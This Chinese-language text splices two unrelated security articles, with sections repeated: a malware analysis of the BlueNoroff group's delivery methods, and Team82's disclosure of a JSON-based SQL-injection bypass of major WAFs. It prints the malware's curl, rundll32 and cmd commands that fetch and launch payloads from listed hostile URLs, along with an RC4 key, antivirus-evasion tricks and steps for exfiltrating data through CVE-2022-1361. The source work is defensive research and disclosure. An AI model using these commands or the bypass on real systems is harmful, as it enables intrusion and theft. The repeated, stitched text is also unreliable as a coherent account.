攻击者可能将上述Windows可执行文件以压缩文件格式或磁盘映像文件格式与加密的诱饵文档一起传播。

基础设施

在进行这项研究时,我们发现了攻击者使用的几个C2服务器。与往常一样,所有服务器都由VPS供应商托管,其中几个服务器被解析到相同的IP地址。域名注册可以追溯到2021年早些时候。

14.png

攻击者通常使用假域名,如云托管服务来托管恶意文件或有效负载。他们还创建了伪装成金融业合法公司和投资公司的假域名。这些域名,包括旋转域名(pivoted domain),模仿风险资本名称或大型银行名称。大多数公司都是日本公司,这表明这位演员对日本市场非常感兴趣。

15.png

受害者分析

正如我们在“持久攻击的初始感染”一节中所描述的那样,我们发现阿联酋的一个受害者(可能是一家家庭融资公司)受到了经典的BlueNoroff组织的攻击。这个以经济为动机的攻击组织最近一直在攻击各种与加密货币相关的业务,以及其他金融公司。

总结

根据最近的一份报告,BlueNoroff组织利用他们的网络攻击能力窃取了价值数百万美元的加密货币。这表明这个组织有很强的经济动机,正如我们从最新的发现中看到的,这个臭名昭著的攻击者已经对他们的恶意软件进行了迭代。这也表明,在不久的将来,它将发起更大的攻击。

截图.jpg

BlueNoroff据说是一个朝鲜黑客组织,其攻击主要充满经济动机。最近有消息报道,它创建70多个虚假域名并冒充银行和风险投资公司后窃取了数百万美元的加密货币。根据调查,大多数域名模仿日本风险投资公司,表明BlueNoroff对该国用户和公司数据的浓厚兴趣。

今年10月,我们观察到其武器库中采用了新的恶意软件。该组织通常利用Word文档,并使用快捷方式进行初始攻击。然而,它最近开始采用新的恶意软件传播方法。

该组织采用的第一个新方法旨在规避网络标记(MOTW)标志,即当用户试图打开从互联网下载的文件时,Windows会显示警告信息的安全措施。为此,使用了光盘映像(.iso扩展名)和虚拟硬盘(.vhd扩展名)文件格式。这是当今逃避MOTW的常用策略,BlueNoroff也采用了这一策略。

此外,该组织还测试了不同的文件类型,以改进恶意软件的传播方法。我们观察到一个新的Visual Basic脚本,一个以前未见过的Windows批处理文件和一个Windows可执行文件。BlueNoroff幕后的攻击者似乎正在扩展或尝试新的文件类型,以有效地传播他们的恶意软件。

在研究了他们使用的基础设施后,我们发现这个组织使用了70多个域名,这意味着他们直到最近都非常活跃。此外,他们还创建了大量看起来像风险投资和银行域名的假域名。大多数域名模仿日本风险投资公司,表明该组织对日本金融实体有着广泛的兴趣。 

BlueNoroff组织引入了新的文件类型来规避网络标记(MOTW)安全措施; 

BleuNoroff组织扩展了文件类型并调整了感染方法;

BlueNoroff创建了大量假冒风险投资公司和银行的假域名。

背景

在2022年9月底,我们在追踪分析中观察到新的BlueNoroff恶意软件。经过仔细的调查,我们确认攻击者采用了新的技术来传达最终的负载。攻击者利用了几个脚本,包括Visual Basic脚本和Windows批处理脚本。他们还开始使用磁盘镜像文件格式.iso和.vhd来传播他们的恶意软件。对于中间感染,攻击者引入了一个下载程序来获取和生成下一阶段的有效负载。尽管最初的攻击方法在这次活动中有很大不同,但我们之前分析的最终有效负载没有发生重大变化。

1.png

新型感染链

持久攻击的初始感染

根据追踪分析,我们观察到阿联酋的一名受害者受到了恶意Word文档的攻击。受害人于2022年9月2日收到了一份名为“Shamjit Client Details Form.doc”的文件。不幸的是,我们无法获取该文档,但它是从以下路径执行的:

2.png

从文件路径来看,我们可以假设受害者是销售部门负责签署合同的员工 

启动后,恶意文档连接到远程服务器并下载有效负载。在这种特殊情况下,可执行文件ieinstal.exe用于绕过UAC。

远程URL:https://bankofamerica.us[.]org/lsizTZCslJm/W+Ltv_Pa/qUi+KSaD/_rzNkkGuW6/cQHgsE=

已创建负载路径:%Profile%\cr.dat

衍生命令:cmd.exe%Profile%\cr.dat 5pKwgIV5otiKb6JrNddaVJOaLjMkj4zED238vIU=

初次感染后,我们观察到攻击者进行了几次键盘操作。通过植入的后门,他们试图对受害者进行指纹识别,并安装具有高级权限的额外恶意软件。在感染后,攻击者执行了几个Windows命令来收集基本的系统信息。18小时后,他们又回来安装了具有更高权限的恶意软件。

3.png

后利用

当恶意Word文档打开时,它会从远程服务器获取下一个有效负载:

下载URL:http://avid.lno-prima[.]lol/VcIf1hLJopY/shU_pJgW2Y/KvSuUJYGoa/sX+Xk4Go/gGhI=

提取的有效负载应保存在%Profile%\update.dll中。最终,提取的文件由以下命令生成:

命令#1:rundll32.exe%Profile%\update.dll,#1 5pOygIlrsNaAYqx8JNZSTouZNjo+j5XEFHzxqIIqpQ==

命令#2:rundll32.exe%Profile%\update.dll,#1 5oGygYVhos+IaqBlNdFaVJSfMiwhh4LCDn4=

BlueNoroff组织通常使用的另一种方法是带有快捷方式文件的ZIP存档。我们最近发现的存档文件包含一个受密码保护的诱饵文档和一个名为“Password.txt.lnk”的快捷方式文件。这是经典的BlueNoroff策略,说服受害者执行恶意快捷方式文件以获取诱饵文档的密码。最新发现的档案文件(MD5 1e3df8ee796fc8a13731c6de1aed0818)有一个日文文件名,新しいボ,ナススケジュ,ル.zip(日文“新奖金计划”),表明他们对日本目标感兴趣。

与前一个快捷方式示例的主要区别在于,它获取了额外的脚本负载(Visual Basic脚本或HTML应用程序),此外,此时还采用了另一种获取和执行下一阶段有效负载的方法。受害者双击快捷方式文件时执行了以下命令:

4.png

为了逃避检测,攻击者使用了Living Off the Land Binaries (LOLBins)

DeviceCredentialDeployment执行是一个众所周知的LOLBin,用于隐藏命令的窗口。攻击者还滥用msiexe.exe文件,以静默方式启动获取的Windows安装程序文件。

方法1:规避MOTW标志的技巧

我们观察到攻击者检查了不同的文件类型来传递他们的恶意软件。最近,许多攻击者采用图像文件来避免MOTW (web标记)。简而言之,MOTW是微软引入的一种缓解技术。NTFS文件系统标记从互联网下载的文件,Windows以安全的方式处理该文件。例如,当从互联网获取Microsoft Office文件时,操作系统在受保护视图中打开它,这限制了嵌入宏的执行。为了避免这种缓解技术,越来越多的攻击者开始滥用ISO文件类型。BlueNoroff组织很可能用ISO镜像文件来传播他们的恶意软件。虽然它仍在开发中,但我们将此示例作为预警。此ISO图像文件包含一个PowerPoint幻灯片放映和一个Visual Basic脚本。

5.png

ISO镜像的嵌入式文件

Microsoft PowerPoint文件包含链接。当用户点击链接时,它将执行1.vbs文件。当我们检查VBS文件时,它只生成了一个“ok”消息,这表明BlueNoroff仍在尝试这种方法。

6.png

根据其他发现,我们从VirusTotal中发现了一个野外示例(MD5 a17e9fc78706431ffc8b3085380fe29f)。在分析时,此.vhd示例未被任何反病毒软件检测到。虚拟磁盘文件包括伪造的PDF文件、Windows可执行文件和加密的Dump.bin文件。PDF和可执行文件在文件扩展名前有许多空格,以隐藏它并减少怀疑。

7.png

VHD文件里面的一个文件

Job_Description[spaces].exe文件(MD5 931d0969654af3f77fc1dab9e2bd66b1)是加载下一阶段有效负载的加载器。在启动时,它将Dump.bin文件复制到%Templates%\war[current time][random value].bin (i.e., war166812964324445.bin).。Dump.bin中PE头被修改。恶意软件读取Dump.bin的第一个字节,即该文件中的0xAF,并使用该密钥解码0x3E8字节。解密后的数据是PE文件的头文件,将恢复后的头文件覆盖到原文件中。最后,它通过生成普通的第一个导出函数来加载解密的DLL文件。

生成的下载程序在文件的末尾包含一个加密的配置。恶意软件首先从文件末尾获取配置数据的总大小和有效负载URL的长度。它们分别位于文件末尾的4字节和8字节处。恶意软件使用嵌入的64字节密钥,使用RC4算法解密配置数据。

RC4秘钥:46 61 44 6D 38 43 74 42 48 37 57 36 36 30 77 6C 62 74 70 57 67 34 6A 79 4C 46 62 67 52 33 49 76 52 77 36 45 64 46 38 49 47 36 36 37 64 30 54 45 69 6D 7A 54 69 5A 36 61 42 74 65 69 50 33。

恢复URL: hxxps://docs.azure-protection[.]cloud/EMPxSKTgrr3/2CKnoSNLFF/0d6rQrBEMv/gGFroIw5_m/n9hLXkEOy3/wyQ%3D%3D

8.png

配置结构

然而,在另一个下载程序的示例中,有效负载URL是使用命令行参数传播的。另外,一些其他下载程序(MD5 f766f97eb213d81bf15c02d4681c50a4)具有检查工作环境的功能。如果物理内存小于2147,483,648字节,恶意软件将终止执行。

9.png

下载程序感染流

此下载程序检查以下防病毒供应商的名称:Sophos、Kaspersky、Avast、Avira、Bitdefender、TrendMicro和Windows Defender。如果安装了TrendMicro、BitDefender或Windows Defender产品,则恶意软件会执行一个经典的解锁DLL技巧,以从系统库中删除用户模式挂钩。这种规避技术会用新加载的ntdll库覆盖预加载的ntdll库的.text部分,以便使用原始API地址恢复挂接的API地址。使用此技巧,恶意软件可以禁用EDR/AV产品的功能。接下来,恶意软件创建一个互斥锁以避免重复执行。 

互斥名称:da9f0e7dc6c52044fa29bea5337b4792b8b873373ba99ad816d5c9f5f275f03f

接下来,恶意软件在同一目录中打开一个PDF诱饵文档。这份假文件伪装成一家日本跨国银行提供的工作邀请。

如果受害者的电脑上安装了Windows Defender或Bitdefender Antivirus,恶意软件就会执行以下命令:

Windows Defender: cmd /c timeout /t 10 & Del /f /q \”[current file name]\” & attrib -s -h \”[PDF decoy file]\” & rundll32 \”[current DLL file path]\” #1;

Bitdefender: cmd /c timeout /t 10 & rundll32 \”[current DLL file path]\” #1;

这种恶意软件的主要目标是获取下一阶段的有效负载。为此,恶意软件使用cURL库,根据安装的防病毒软件组合cURL命令。

Avira or Avast installed: curl -A cur1-agent -L [payload URL(| -x proxy URL)] -s -d da;

Other cases: curl -A cur1-agent -L [payload URL(| -x proxy URL)] -s -d dl;

注意,用户代理名称为“cur1-agent”,如果受害者安装了Avira或Avast,恶意软件会发送“da”POST数据。否则,恶意软件将发送“dl”POST数据。如果cURL命令获取的数据包含“

如果安装了Avira或Avast,恶意软件将解密的有效负载保存到“%TEMPLATES%\marcoor.dll”,并使用带有有效负载URL的rundll32.exe命令生成它。

command: exe %TEMPLATES%\marcoor.dll #1 [payload URL]

否则,恶意软件不会将有效负载写入文件,而是将获取的有效负载注入explorer.exe进程。所获取的有效负载是一个DLL类型的可执行文件,其导出函数由“有效负载URL”派生。

不幸的是,到目前为止,我们还无法获得精确的感染链。然而,从分析数据中,我们可以确认受害者最终是被后门类型的恶意软件攻击的。基于恶意软件的静态信息和部分内部代码,我们评估最终的有效负载仍然与我们在上一篇文章中描述的Persistence Backdoor#2非常相似。

方法2:脚本和小说下载程序 

此外,我们还观察到可疑批处理文件的下载和启动。攻击者利用了不同的lolbin。恶意软件的执行是使用system目录下合法的script, SyncAppvPublishingServer.vbs, 完成的。此脚本用于通过Windows计划任务执行PowerShell脚本。

10.png

我们还在分析中观察到了该批处理文件的上下文。批处理文件名为“What is Blockchain.bat”。顾名思义,该组织仍然以区块链行业为目标。为此,我们提取了批处理文件的scriptlet。

11.png

Inproc.exe是合法的mshta.exe文件(MD5 0b4340ed812dc82ce636c00fa5c9bef2), rwinsta.exe是合法的rundll32.exe文件(MD5 ef3179d498793bf4234f708d3be28633)。Blockchain.pdf文件是mshta.exe进程生成的恶意HTML应用程序文件。虽然没有HTA脚本(Blockchain.pdf),但我们可以基于假设脚本的功能显示诱饵文档并获取下一阶段的有效负载。

12.png

此外,我们观察到该组织在此时引入了一个新的Windows可执行类型的下载程序。这个恶意软件(MD5 087407551649376d90d1743bac75aac8)在获取远程有效负载并执行时生成一个假密码文件。在执行时,它创建一个假文件(wae.txt)来显示由字符串“password”组成的密码,并从嵌入的URL中获取有效负载并加载它。该方案通过notepad.exe显示密码,这是BlueNoroff组织为了避免引起受害者的怀疑而惯用的伎俩。通常,密码包含打开所提供的加密诱饵文档所需的密码。

13.png

含有假密码文件的下载 

攻击者可能将上述Windows可执行文件以压缩文件格式或磁盘映像文件格式与加密的诱饵文档一起传播。

基础设施

在进行这项研究时,我们发现了攻击者使用的几个C2服务器。与往常一样,所有服务器都由VPS供应商托管,其中几个服务器被解析到相同的IP地址。域名注册可以追溯到2021年早些时候。

14.png

攻击者通常使用假域名,如云托管服务来托管恶意文件或有效负载。他们还创建了伪装成金融业合法公司和投资公司的假域名。这些域名,包括旋转域名(pivoted domain),模仿风险资本名称或大型银行名称。大多数公司都是日本公司,这表明这位演员对日本市场非常感兴趣。

15.png

受害者分析

正如我们在“持久攻击的初始感染”一节中所描述的那样,我们发现阿联酋的一个受害者(可能是一家家庭融资公司)受到了经典的BlueNoroff组织的攻击。这个以经济为动机的攻击组织最近一直在攻击各种与加密货币相关的业务,以及其他金融公司。

总结

根据最近的一份报告,BlueNoroff组织利用他们的网络攻击能力窃取了价值数百万美元的加密货币。这表明这个组织有很强的经济动机,正如我们从最新的发现中看到的,这个臭名昭著的攻击者已经对他们的恶意软件进行了迭代。这也表明,在不久的将来,它将发起更大的攻击。

JSON 语法自 2012 年开始作为新特性被各类 SQL 数据库支持,目前所有主流数据库都已支持 JSON 语法,但目前的主流 WAF 并没有做相应跟进,从而可以被绕过。

Team82开发了一种通用的绕过行业领先的web应用程序防火墙(WAF)的方法。 攻击技术包括将JSON语法附加到WAF无法解析的SQL注入有效负载。

主要的WAF供应商在他们的产品中缺乏JSON支持,尽管大多数数据库引擎已经支持了十年。 大多数WAF可以很容易地检测到SQLi攻击,但是将JSON前置SQL语法使WAF无法检测到这些攻击。

使用这种技术的攻击者将能够绕过WAF的保护,并使用其他漏洞来窃取数据。

简介

Web应用防火墙(WAF)旨在保护基于Web的应用程序和API免受恶意外部HTTPs流量的影响,尤其是跨站脚本和SQL注入攻击,这些攻击危险似乎还未解除。

WAF的引入在很大程度上是为了应对这些编码错误。WAF现在是保护存储在数据库中的组织信息的关键防线,这些信息可以通过web应用程序访问。WAF也越来越多地用于保护基于云的管理平台,这些管理平台监督连接的嵌入式设备,如路由器和接入点。

能够绕过WAF的流量扫描和拦截功能的攻击者通常可以直接访问敏感的业务和客户信息。值得庆幸的是,这样的绕过并不常见,而且针对特定供应商的实现是一次性的。

目前,Team82引入了一种攻击技术,它是业界领先供应商销售的多个web应用程序防火墙的第一个通用绕过。该绕过适用于五个主要供应商销售的WAF: Palo Alto, F5, Amazon Web Services, Cloudflare和Imperva。目前,所有受影响的供应商都承认Team82的披露,并实施了修复,将JSON语法支持添加到其产品的SQL检查过程中。

Team82的技术首先依赖于理解WAF如何识别和标记恶意SQL语法,然后找到WAF看不到的SQL语法。这是JSON。JSON是一种标准的文件和数据交换格式,通常用于将数据从服务器发送到web应用程序。

在SQL数据库中引入JSON支持可以追溯到大约10年前。现在的数据库引擎默认支持JSON语法、基本搜索和修改,以及一系列JSON函数和操作符。虽然JSON支持是数据库引擎的标准,但WAF却并非如此。供应商在添加JSON支持方面一直进展缓慢,这使得Team82能够创建新的SQL注入有效负载,其中包括绕过WAF提供的安全性的JSON。

使用这种新技术的攻击者可以访问后端数据库,并使用额外的漏洞,通过直接访问服务器或通过云窃取信息。

这对于已经转向基于云的管理和监控系统的运行和物联网平台尤为重要。WAF提供了来自云的额外安全性的承诺,能够绕过这些保护的攻击者可以广泛地访问系统。

Team82在去年开发了这项技术,当时他们正在对Cambium Networks的无线设备管理平台进行不相关的研究,包括其内部或云端销售的cnMaestro无线网络管理器。

1.png

Cambium Networks无线接入点

2.png

Cambium的cnMaestro云架构允许用户从云端远程配置和控制他们的AP Wi-Fi设备

为了了解平台是如何构建的,以及它的许多内部API和路由,Team82从Cambium的网站下载了cnMaestro内部部署的开放虚拟化格式虚拟机。

Team82了解到cnMaestro是由许多不同的NodeJS后端服务构建的,这些服务处理用户对特定路由的请求。这些服务都有轻微的混淆,使得研究平台变得困难。为了将每个请求代理到正确的服务,Nginx被用来通过所请求的URL来传递请求。

cnMaestro提供了两种不同的部署类型:

本地部署:创建一个由用户托管和管理的专用cnMaestro服务器。

云部署:位于Cambium Networks云基础设施上的cnMaestro服务器,cnMaestro的所有此类实例都以多租户架构托管在Cambium组织下的Amazon AWS云上。 

云部署

托管在亚马逊AWS上的cnMaestro云部署包括一个cnMaestro的主要实例(托管在https://cloud.cambiumnetworks.com上),它处理登录、设备部署,并将大部分平台数据保存在主数据库中。

任何注册到cnMaestro Cloud应用程序的用户都会获得一个个人Amazon AWS实例,其中包含个人URL (Cambium主云的子域)和组织标识符。这有助于在多租户设计中分离不同的用户。为了访问你的cnMaestro实例,将按照以下方案生成一个唯一的URL:https://us-e1-sXX-XXXXXXXXXX.cloud.cambiumnetworks.com

在Team82对Cambium cnMaestro的研究结束时,他们发现了7个不同的漏洞,可以在这里和Team82的披露仪表板上看到。然而,一个特别的漏洞让Team82陷入了一个巨大的兔子洞,导致Team82发现并开发了这项新技术。

很难利用的零日漏洞 

Team82发现的一个特殊的Cambium漏洞被证明更难利用:CVE-2022-1361。该漏洞的核心是一个简单的SQL注入漏洞,但实际的开发过程需要Team82跳出思维定式,创建一个全新的SQL技术。利用这个漏洞,Team82能够窃取用户的会话、SSH密钥、密码哈希、令牌和验证码。

此漏洞的核心问题是,在这种特殊情况下,开发人员没有使用准备好的语句将用户提供的数据附加到查询中。他们没有使用将用户参数附加到SQL查询并清除输入的安全方法,而是直接将其附加到查询中。

3.png

Team82在CVE-2022-1361中滥用的SQL注入汇点

正如我们在上面的汇点中看到的,应用程序接受用户提供的数据(在本例中为a.serialNo或a.mac),并将其附加到SQL查询中。我们使用此漏洞的目的是过滤存储在数据库中的敏感数据。然而,虽然这看起来很简单,但在快速分析了该漏洞后,我们意识到它有三个关键漏洞/限制:

Team82只能检索作为返回行的整数 ;

返回的行按随机顺序返回;

在每个请求中,Team82只能返回有限数量的行。

让我们深入分析这些限制。

限制1:Team82只能检索整数

第一个限制只返回整数,而不返回字符串。由于原始请求返回整数,我们将使用的任何联合语句也必须返回整数。在SQL中,如果执行联合操作,则必须确保两列的类型相同,并且由于一方获取整数,因此我们也必须返回整数。由于我们要过滤的数据很可能是字符串(会话令牌、SSH密钥等),因此我们必须以某种方式获得过滤字符串的能力。

通过将想要过滤的任何字符串转换为整数数组,并将每个字符作为单独的行返回,可以轻松克服这一限制。为此,Team82使用了stringarray和ASCIISQL函数。

4.1.png

4.2.png

一个SQL查询,返回字符串作为其字符的整数列表

限制2:返回的行按随机顺序返回

第二个限制是,当Team82返回多行时,web服务器将以随机顺序返回给Team82。当Team82查看漏洞后执行的代码时,Team82看到对于SQL查询返回的每一行,服务器将执行一些其他异步操作(这可以通过调用async.parale函数看到)。这意味着返回行的原始顺序将不会被保留,相反,该顺序将是异步操作完成的顺序。

这意味着,如果Team82将字符串作为整数数组进行过滤,就会丢失字符顺序,从而使过滤变得无关紧要。

Team82通过添加行索引来克服这一限制,行索引使用row_number SQL函数将字符串中字符的索引转换为返回的整数。因为Team82只返回ASCII字符,所以每个字符的值被限制为128。通过将索引号乘以1000 (i * 1000)并将其附加到结果中,Team82总是可以通过简单的除法和模块操作来确定字符索引。

5.1.png

5.2.png

一个SQL有效负载,返回字符串中每个字母的ascii值,加上字符的索引乘以1000

在检索到过滤的数据之后,Team82可以简单地将每个返回行除以1000,以了解字符索引。Team82还可以通过对返回值使用模块操作来恢复原始字符ASCII值。

限制3:在每个请求中只能返回有限数量的行

最后一个限制是最难克服的:超时问题。对于返回的每一行,服务器都执行了一些其他操作,包括另一个SQL查询和数据操作。当我们试图检索大量行时,请求超时。更糟糕的是,API端点相当慢,因此每次检索一行非常耗时。

Team82的解决方案实际上非常高级,Team82不是为每个字符返回一行,而是从许多行中构造一个整数。这是可能的,因为整数和字符之间的字节大小不同。在PostgreSQL中,一个整数是4字节长,而Team82试图过滤的字符是1字节长(只要是ascii字符)。这意味着通过执行简单的字节操作,Team82可以在每个整数中容纳四个不同的字符。此外,如果Team82在union命令中将整数转换为BIGINT,这在PostgreSQL中是可能做到的,Team82可以将每行扩展为8字节。

6.png

PostgreSQL类型大小

这意味着,如果要为Team82过滤的每个字符附加8个字节,并将其附加到BIGINT中,Team82可以在每个请求中过滤7倍多的字符(1个字节保留给字符索引)。

7.1.png

7.2.png

一个SQL查询,它接受一个字符串,并每隔几个字符创建一个BIGINT

使用这种方法,Team82能够在每个请求中提取多达8倍的数据。这减少了Team82窃取大量数据所需的时间,并使攻击场景变得可信。

构建有效负载 

在Team82绕过所有三个限制之后,Team82就得到了一个大的有效负载,允许提取任何Team82选择的数据:。

8.png

事实上,当Team82使用这个有效负载时,Team82设法窃取了存储在数据库中的敏感信息,从会话cookie到令牌,SSH密钥和哈希密码。

9.png

使用SQLi有效负载提取的数据示例

云端漏洞 

在成功利用了云部署漏洞后,下一步是在Cambium的云端尝试相同的漏洞。很快,Team82就找到了相应的云路由,并成功确认它也容易受到同样的漏洞的攻击。然后Team82尝试了一个安全版本的有效负载,并收到了这样的响应。

10.png

对SQL注入漏洞的响应,可以看到Team82的请求被释放了,返回一个403 Forbidden

接下来,我们注意到了包含awselb/2.0的HTTP服务器,这意味着,应用程序并没有停止Team82的请求,而是AWS WAF释放了Team82的请求,因为它可能将其标记为恶意请求。

对AWS WAF 的研究

为了研究AWS WAF,我们首先创建了自己的设置,在其中控制所有的活动部件:应用程序、客户端和WAF设置和日志。我们在AWS云上创建了一个简单的设备,并设置了AWS WAF来保护应用程序免受恶意请求(Team82设置了WAF)。

11.png

用于配置WAF规则集的界面 

然后,Team82创建了一个带有SQLi漏洞的web应用程序,并将其托管在AWS上。

12.png

Team82创建的易受攻击的Flask web应用程序

最后,Team82开始发送数百个自定义的请求,试图分析WAF是如何将请求标记为恶意的。

13.png

被WAF标记为恶意的请求被阻止,在这个请求中,Team82传递一个通用的SQLi有效负载,它由WAF标记

WAF通常有两种方法将请求标记为恶意:

搜索黑名单单词:WAF可以搜索它并将其识别为SQL语法的单词,如果请求中存在太多匹配项,它会将该请求标记为恶意SQLi尝试。

从请求中解析SQL语法:WAF可以尝试使用请求的不同部分解析有效的SQL语法,如果WAF成功识别SQL语法,它将标记该请求为恶意SQLi尝试。 

虽然大多数WAF除了使用WAF特有的方法外,还会使用这两种方法的组合,但它们都有一个共同的漏洞:它们需要WAF识别SQL语法。这引发了Team82的兴趣:如果Team82能够找到WAF无法识别的SQL语法,该怎么办?

SQL JSON

目前,JSON已经成为数据存储和传输的主要形式之一。为了支持JSON语法,并允许开发人员以类似于在其他应用程序中与数据交互的方式与数据交互,SQL中需要JSON支持。

目前,所有主要的关系数据库引擎都支持原生JSON语法,这包括MSSQL, PostgreSQL, SQLite和MySQL。此外,在最新版本中,所有数据库引擎默认启用JSON语法,这意味着它在今天的大多数数据库设置中很普遍。

开发人员选择在SQL数据库中使用JSON特性,原因有很多,首先是更好的性能和效率。由于许多后端已经使用JSON数据,因此在SQL引擎本身执行所有数据操作和转换可以减少所需的数据库调用数量。此外,如果数据库可以使用JSON数据格式(后端API很可能也会使用JSON数据格式),那么所需的数据预处理和后处理就会更少,从而允许应用程序立即使用它。

通过在SQL中使用JSON,应用程序可以在SQL API中获取数据、从数据库中组合多个数据源、执行数据修改并将其转换为JSON格式。然后,应用程序可以接收json格式的数据并立即使用它,而不需要处理数据。

14.png

在SQL中使用JSON的数据流,允许开发人员在SQL中使用JSON API更好地与数据交互

虽然每个数据库都选择了不同的实现和JSON解析器,但每个数据库都支持不同范围的JSON函数和操作符。此外,它们都支持JSON数据类型和基本的JSON搜索和修改。

15.png

对每个主要数据库的JSON支持级别

然而,尽管所有的数据库引擎都增加了对JSON的支持,但并不是所有的安全工具都增加了对这个“新”特性的支持。安全工具中缺乏支持可能会导致安全工具(在Team82的例子中是WAF)和实际数据库引擎之间的原语解析不匹配,并导致SQL语法错误识别。

The New ‘ or ‘a’=’a

使用JSON语法,可以创建新的SQLi有效负载。由于这些有效负载不为人所知,它们可以绕过许多安全工具。使用来自不同数据库引擎的语法,Team82能够在SQL中编译以下真实语句列表:

16.png

使用JSON语法

从Team82对WAF如何将请求标记为恶意的理解中,可以得出结论,Team82需要找到WAF无法理解的SQL语法。如果Team82可以提供一个SQLi有效负载,WAF不会将其识别为有效SQL,但数据库引擎会解析它,Team82实际上就可以实现绕过。

事实证明,JSON正是WAF解析器和数据库引擎之间的这种不匹配。当Team82传递使用不太流行的JSON语法的有效SQL语句时,WAF实际上并没有将请求标记为恶意请求。

17.png

下面是一个恶意的SQLi有效负载,包含JSON语法。正如Team82所看到的,WAF并没有将该请求标记为恶意请求,也没有释放它

这个简单的JSON运算符,在本例中是@>,它检查右边的JSON是否包含在上面左边的JSON中,它将WAF放入一个循环中,并允许Team82提供恶意的SQLi有效负载,从而允许Team82绕过WAF。通过简单地在请求的开头预先添加简单的JSON语法,Team82就能够在云上使用SQLi漏洞窃取敏感信息!

18.png

利用云上的SQL注入漏洞

常见的WAF绕过 

上述绕过的核心问题是数据库引擎和SQLi检测解决方案之间缺乏一致性,这是因为SQL中的JSON并不是一个流行和广为人知的特性,而且它的语法没有添加到WAF解析器中。

然而,Team82认为这个问题可能不仅仅与这个WAF供应商有关,可能其他供应商也没有添加对JSON语法的支持。所以Team82采用了易受攻击的web应用程序,并在大多数主要WAF供应商上创建了一个设置。几天后,Team82发现JSON语法可以绕过他们检查过的大多数供应商:

Palo-Alto下一代防火墙

F5 Big-IP

Amazon AWS ELB

Cloudflare

Imperva

19.png

Team82使用JSON语法绕过的WAF供应商和产品列表

Team82成功地绕过了这么多大型WAF产品,如果Team82的有效负载有任何变化,这意味着Team82有一个通用的WAF绕过。这意味着即使不知道Team82和目标之间的WAF是什么,Team82仍然可以利用SQL注入漏洞,绕过WAF的保护。

自动化流程

为了研究这种WAF绕过的危害有多大,Team82决定在最大的开源开发工具SQLMap中添加对JSON语法规避技术的支持。

20.png

SQLMap工具允许用户自动化和攻击目标

SQLMap提供了一个自动利用SQL注入的过程,允许用户扫描整个网站以查找漏洞。在SQLMap识别出SQL漏洞后,它提供了识别漏洞类型和识别最适合此特定漏洞的利用技术的能力。

在正确选择利用漏洞的技术后,SQLMap甚至为用户提供了自动转储存储在数据库中的信息、枚举表和数据库、提取密码哈希以及执行一些利用后技术的能力。

虽然SQLMap提供了一些WAF逃避技术,但Team82发现它仍然很容易被大多数现代WAF识别,这意味着用户不能在存在WAF的情况下使用它。

21.png

试图在受WAF保护的应用程序上执行SQLMap。我们可以清楚地看到,尽管应用程序是易受攻击的,但SQLMap并不认为它是可利用的,因为大多数请求都被WAF释放了

Team82的目标是将这项新技术引入SQLMap,并使用JSON语法绕过WAF。为此,Team82注入了由SQLMap生成的有效负载,并添加了随机生成的JSON语法。由于每个数据库引擎都实现了一组不同的JSON函数和操作符,因此Team82为每个数据库引擎实现了一个单独的脚本。通过对SQLMap的添加,Team82能够绕过一个众所周知的WAF,并成功地利用了一个易受攻击的web应用程序。

22.png

使用Team82的脚本运行SQLMap允许SQLMap成功地利用易受攻击的web应用程序并绕过WAF

如果你希望使用此脚本来测试此绕过,只需从Github克隆SQLMap的最新版本。

总结

Team82发现,主要供应商的WAF在其SQL注入检查过程中不支持JSON语法,这使得Team82可以在SQL语句中预先添加JSON语法,从而使WAF无法识别恶意代码。

Team82向五家领先的WAF供应商披露了其发现,目前所有这些供应商都在其产品中添加了JSON语法支持。Team82认为其他供应商的产品可能会受到影响,应该对JSON支持进行审查。

JSON 语法自 2012 年开始作为新特性被各类 SQL 数据库支持,目前所有主流数据库都已支持 JSON 语法,但目前的主流 WAF 并没有做相应跟进,从而可以被绕过。

Team82开发了一种通用的绕过行业领先的web应用程序防火墙(WAF)的方法。 攻击技术包括将JSON语法附加到WAF无法解析的SQL注入有效负载。

主要的WAF供应商在他们的产品中缺乏JSON支持,尽管大多数数据库引擎已经支持了十年。 大多数WAF可以很容易地检测到SQLi攻击,但是将JSON前置SQL语法使WAF无法检测到这些攻击。

使用这种技术的攻击者将能够绕过WAF的保护,并使用其他漏洞来窃取数据。

简介

Web应用防火墙(WAF)旨在保护基于Web的应用程序和API免受恶意外部HTTPs流量的影响,尤其是跨站脚本和SQL注入攻击,这些攻击危险似乎还未解除。

WAF的引入在很大程度上是为了应对这些编码错误。WAF现在是保护存储在数据库中的组织信息的关键防线,这些信息可以通过web应用程序访问。WAF也越来越多地用于保护基于云的管理平台,这些管理平台监督连接的嵌入式设备,如路由器和接入点。

能够绕过WAF的流量扫描和拦截功能的攻击者通常可以直接访问敏感的业务和客户信息。值得庆幸的是,这样的绕过并不常见,而且针对特定供应商的实现是一次性的。

目前,Team82引入了一种攻击技术,它是业界领先供应商销售的多个web应用程序防火墙的第一个通用绕过。该绕过适用于五个主要供应商销售的WAF: Palo Alto, F5, Amazon Web Services, Cloudflare和Imperva。目前,所有受影响的供应商都承认Team82的披露,并实施了修复,将JSON语法支持添加到其产品的SQL检查过程中。

Team82的技术首先依赖于理解WAF如何识别和标记恶意SQL语法,然后找到WAF看不到的SQL语法。这是JSON。JSON是一种标准的文件和数据交换格式,通常用于将数据从服务器发送到web应用程序。

在SQL数据库中引入JSON支持可以追溯到大约10年前。现在的数据库引擎默认支持JSON语法、基本搜索和修改,以及一系列JSON函数和操作符。虽然JSON支持是数据库引擎的标准,但WAF却并非如此。供应商在添加JSON支持方面一直进展缓慢,这使得Team82能够创建新的SQL注入有效负载,其中包括绕过WAF提供的安全性的JSON。

使用这种新技术的攻击者可以访问后端数据库,并使用额外的漏洞,通过直接访问服务器或通过云窃取信息。

这对于已经转向基于云的管理和监控系统的运行和物联网平台尤为重要。WAF提供了来自云的额外安全性的承诺,能够绕过这些保护的攻击者可以广泛地访问系统。

Team82在去年开发了这项技术,当时他们正在对Cambium Networks的无线设备管理平台进行不相关的研究,包括其内部或云端销售的cnMaestro无线网络管理器。

1.png

Cambium Networks无线接入点

2.png

Cambium的cnMaestro云架构允许用户从云端远程配置和控制他们的AP Wi-Fi设备

为了了解平台是如何构建的,以及它的许多内部API和路由,Team82从Cambium的网站下载了cnMaestro内部部署的开放虚拟化格式虚拟机。

Team82了解到cnMaestro是由许多不同的NodeJS后端服务构建的,这些服务处理用户对特定路由的请求。这些服务都有轻微的混淆,使得研究平台变得困难。为了将每个请求代理到正确的服务,Nginx被用来通过所请求的URL来传递请求。

cnMaestro提供了两种不同的部署类型:

